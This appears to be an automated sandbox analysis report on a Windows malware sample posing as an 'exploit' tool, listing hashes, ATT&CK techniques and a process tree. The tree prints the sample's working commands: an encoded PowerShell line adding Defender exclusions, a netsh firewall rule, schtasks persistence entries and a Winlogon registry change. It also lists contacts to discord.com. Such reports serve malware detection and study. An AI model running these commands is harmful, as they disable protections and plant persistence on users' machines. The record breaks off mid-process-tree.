e3971654d4cbc4cc46e14bbef88ea0bcb5de90cc1b61920a64788b7626cb5089

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 03:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lib/LiberiumUltimateExploitPro.exe
Size 532KB
Sample260806-ea158aserd
SHA256 e3971654d4cbc4cc46e14bbef88ea0bcb5de90cc1b61920a64788b7626cb5089
MD5 4f66cbd4f6d35903ae06e023de8ec94c
SHA1 62f61961d5220beef47f3a94ba1281855aa34a97
SHA512 e511b01c0478bec1b73522163a86d698c780bbcd9dbba49ba12f8477209a14815f45311d1bd12555afb182c79a239c9b5e3b42b04607f8a3656577a933725401
SSDEEP 12288:Y2N4UGDKdT9zhJ8AlDig6w9T+REeNeRgHJ2fk2X9qoyiq:Y2RG2Jp7JGg6w9TqEeNeeHUMgqoY
TLSH
T10AC48BCE245398FCE2C2B175D9B1851E1A14B052C3363DF886E9AB18A3328D539FA5F5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\xdwdhelp\\Search.exe"	Zo4.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Executes dropped EXE 8 IoCs

pid	Process
264	Zo4.exe
3788	LiberiumUltimateExploitPro.exe
3844	Search.exe
300	Searcher.exe
6876	Search.exe
6212	Search.exe
4876	Search.exe
2644	Search.exe

Loads dropped DLL 16 IoCs

pid	Process
620	svchost.exe
5280	msedge.exe
3844	Search.exe
300	Searcher.exe
6876	Search.exe
6280	Process not Found
6652	msedge.exe
6212	Search.exe
6440	msedge.exe
6456	msedge.exe
6448	msedge.exe
6076	Process not Found
6240	Process not Found
4876	Search.exe
5096	msedge.exe
2644	Search.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
38	discord.com
39	discord.com
41	discord.com
55	discord.com
61	discord.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_2029396300\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\en_GB\messages.json	msedge.exe
File opened for modification	C:\Windows\systemd\linux\redhat\gcc\exploit\fuck\Searcher.exe	Searcher.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1414678332\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ca\messages.json	msedge.exe
File opened for modification	C:\Windows\xdwd.dll	Zo4.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_1576_1632618904\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_108_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_42668407\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\af\messages.json	msedge.exe
File opened for modification	C:\Windows\systemd\linux\redhat\gcc\exploit\fuck\Searcher.exe	Zo4.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ta\messages.json	msedge.exe
File opened for modification	C:\Windows\systemd\linux\redhat\gcc\exploit\fuck\Searcher.exe	Search.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_42668407\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1801666599\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1801666599\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1576_1259266178\_locales\mr\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2000	cmd.exe
5568	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LiberiumUltimateExploitPro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3008	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304615581467877"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{D5C98899-2420-45B5-8C2F-45A723DE30E1}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{7B47BBBB-4E4F-4345-96B8-FF480BFAF606}	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1804	schtasks.exe
5584	schtasks.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
5476	powershell.exe
5476	powershell.exe
5280	msedge.exe
5280	msedge.exe
620	svchost.exe
620	svchost.exe
300	Searcher.exe
300	Searcher.exe
6652	msedge.exe
6652	msedge.exe
6440	msedge.exe
6456	msedge.exe
6456	msedge.exe
6440	msedge.exe
6448	msedge.exe
6448	msedge.exe
5096	msedge.exe
5096	msedge.exe
5096	msedge.exe
5096	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
1576	msedge.exe
1576	msedge.exe
1576	msedge.exe
1576	msedge.exe
1576	msedge.exe
1576	msedge.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

description	pid	Process
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeDebugPrivilege	264	Zo4.exe
Token: SeIncreaseQuotaPrivilege	5476	powershell.exe
Token: SeSecurityPrivilege	5476	powershell.exe
Token: SeTakeOwnershipPrivilege	5476	powershell.exe
Token: SeLoadDriverPrivilege	5476	powershell.exe
Token: SeSystemProfilePrivilege	5476	powershell.exe
Token: SeSystemtimePrivilege	5476	powershell.exe
Token: SeProfSingleProcessPrivilege	5476	powershell.exe
Token: SeIncBasePriorityPrivilege	5476	powershell.exe
Token: SeCreatePagefilePrivilege	5476	powershell.exe
Token: SeBackupPrivilege	5476	powershell.exe
Token: SeRestorePrivilege	5476	powershell.exe
Token: SeShutdownPrivilege	5476	powershell.exe
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeSystemEnvironmentPrivilege	5476	powershell.exe
Token: SeRemoteShutdownPrivilege	5476	powershell.exe
Token: SeUndockPrivilege	5476	powershell.exe
Token: SeManageVolumePrivilege	5476	powershell.exe
Token: 33	5476	powershell.exe
Token: 34	5476	powershell.exe
Token: 35	5476	powershell.exe
Token: 36	5476	powershell.exe
Token: SeDebugPrivilege	3844	Search.exe
Token: SeDebugPrivilege	300	Searcher.exe
Token: SeDebugPrivilege	6876	Search.exe
Token: SeIncBasePriorityPrivilege	3844	Search.exe
Token: SeDebugPrivilege	6212	Search.exe
Token: SeDebugPrivilege	4876	Search.exe
Token: SeDebugPrivilege	2644	Search.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1576	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3756 wrote to memory of 5476	3756	LiberiumUltimateExploitPro.exe	89
PID 3756 wrote to memory of 264	3756	LiberiumUltimateExploitPro.exe	91
PID 3756 wrote to memory of 3788	3756	LiberiumUltimateExploitPro.exe	93
PID 3788 wrote to memory of 1576	3788	LiberiumUltimateExploitPro.exe	95
PID 1576 wrote to memory of 5452	1576	msedge.exe	96
PID 1576 wrote to memory of 4988	1576	msedge.exe	99
PID 1576 wrote to memory of 3008	1576	msedge.exe	100
PID 1576 wrote to memory of 4988	1576	msedge.exe	99
PID 1576 wrote to memory of 4988	1576	msedge.exe	99
PID 1576 wrote to memory of 4640	1576	msedge.exe	101
PID 1576 wrote to memory of 4640	1576	msedge.exe	101
PID 1576 wrote to memory of 8	1576	msedge.exe	102
PID 1576 wrote to memory of 8	1576	msedge.exe	102
PID 1576 wrote to memory of 8	1576	msedge.exe	102
PID 1576 wrote to memory of 2684	1576	msedge.exe	103
PID 1576 wrote to memory of 2684	1576	msedge.exe	103
PID 1576 wrote to memory of 2684	1576	msedge.exe	103
PID 1576 wrote to memory of 4504	1576	msedge.exe	104
PID 1576 wrote to memory of 2112	1576	msedge.exe	105
PID 1576 wrote to memory of 4504	1576	msedge.exe	104
PID 1576 wrote to memory of 4504	1576	msedge.exe	104
PID 1576 wrote to memory of 2112	1576	msedge.exe	105
PID 1576 wrote to memory of 2112	1576	msedge.exe	105
PID 1576 wrote to memory of 576	1576	msedge.exe	107
PID 1576 wrote to memory of 576	1576	msedge.exe	107
PID 264 wrote to memory of 3928	264	Zo4.exe	108
PID 264 wrote to memory of 2000	264	Zo4.exe	109
PID 1576 wrote to memory of 2228	1576	msedge.exe	110
PID 1576 wrote to memory of 2228	1576	msedge.exe	110
PID 1576 wrote to memory of 2228	1576	msedge.exe	110
PID 264 wrote to memory of 5568	264	Zo4.exe	113
PID 2000 wrote to memory of 5584	2000	cmd.exe	115
PID 5568 wrote to memory of 1804	5568	cmd.exe	116
PID 1576 wrote to memory of 5368	1576	msedge.exe	118
PID 1576 wrote to memory of 1376	1576	msedge.exe	117
PID 1576 wrote to memory of 5368	1576	msedge.exe	118
PID 1576 wrote to memory of 1376	1576	msedge.exe	117
PID 1576 wrote to memory of 5280	1576	msedge.exe	121
PID 1576 wrote to memory of 944	1576	msedge.exe	122
PID 1576 wrote to memory of 944	1576	msedge.exe	122
PID 264 wrote to memory of 6876	264	Zo4.exe	126
PID 1576 wrote to memory of 7136	1576	msedge.exe	128
PID 1576 wrote to memory of 5488	1576	msedge.exe	129
PID 1576 wrote to memory of 5488	1576	msedge.exe	129
PID 1576 wrote to memory of 6796	1576	msedge.exe	132
PID 1576 wrote to memory of 6796	1576	msedge.exe	132
PID 1576 wrote to memory of 6988	1576	msedge.exe	133
PID 1576 wrote to memory of 6988	1576	msedge.exe	133
PID 1576 wrote to memory of 6964	1576	msedge.exe	134
PID 1576 wrote to memory of 6964	1576	msedge.exe	134
PID 1576 wrote to memory of 6440	1576	msedge.exe	137
PID 1576 wrote to memory of 6456	1576	msedge.exe	138
PID 1576 wrote to memory of 6448	1576	msedge.exe	139
PID 1576 wrote to memory of 6800	1576	msedge.exe	140
PID 1576 wrote to memory of 6800	1576	msedge.exe	140
PID 1576 wrote to memory of 6336	1576	msedge.exe	145
PID 1576 wrote to memory of 6336	1576	msedge.exe	145
PID 1576 wrote to memory of 2740	1576	msedge.exe	146
PID 1576 wrote to memory of 2740	1576	msedge.exe	146
PID 1576 wrote to memory of 7136	1576	msedge.exe	147
PID 1576 wrote to memory of 7136	1576	msedge.exe	147
PID 1576 wrote to memory of 5096	1576	msedge.exe	148
PID 1576 wrote to memory of 4256	1576	msedge.exe	150
PID 1576 wrote to memory of 4256	1576	msedge.exe	150

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\lib\LiberiumUltimateExploitPro.exe
"C:\Users\Admin\AppData\Local\Temp\lib\LiberiumUltimateExploitPro.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAcQB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcABqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAdQB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHAAagB3ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5476
- C:\Windows\Zo4.exe
  "C:\Windows\Zo4.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="Vg;G%fb-%;r+%c" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe" enable=yes & exit
    3⤵
    PID:3928
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\WAppCrashNvTew" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe" /RL HIGHEST & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\WAppCrashNvTew" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5584
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\MachineCore" /tr "C:\Windows\systemd\linux\redhat\gcc\exploit\fuck\Searcher.exe" /RL HIGHEST & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5568
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "Microsoft\MachineCore" /tr "C:\Windows\systemd\linux\redhat\gcc\exploit\fuck\Searcher.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1804
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdhelp\Search.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    PID:6876
- C:\Windows\LiberiumUltimateExploitPro.exe
  "C:\Windows\LiberiumUltimateExploitPro.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/un1x
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffb0f77c188,0x7ffb0f77c194,0x7ffb0f77c1a0
      4⤵
      PID:5452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1576,i,14256208944708526711,8759457256318333232,262144 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:2
      4⤵
      PID:4988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,17277295628575200016,8898044052103358731,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:11
      4⤵
      System Time Discovery
      PID:3008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2468,i,8135943282566264995,16795624628869481184,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=3120 /prefetch:13
      4⤵
      PID:4640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3572,i,17831768207108060933,7369241781675911469,2097152 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
      4⤵
      PID:8
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3576,i,16271254997409821249,9186219159633066251,2097152 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
      4⤵
      PID:2684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,15460291871602917379,18166130243614677089,2097152 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=4416 /prefetch:1
      4⤵
      PID:4504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4308,i,11812515630697393961,9948692296331725670,2097152 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:9
      4⤵
      PID:2112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3756,i,17864584914754107003,9043190752914731775,524288 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:14
      4⤵
      PID:576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5440,i,13014173457302819645,8228734869743658738,2097152 --field-trial-handle=2272,i,12424246444127882941,18387925602297523614,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:1
      4⤵
      PID:2228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
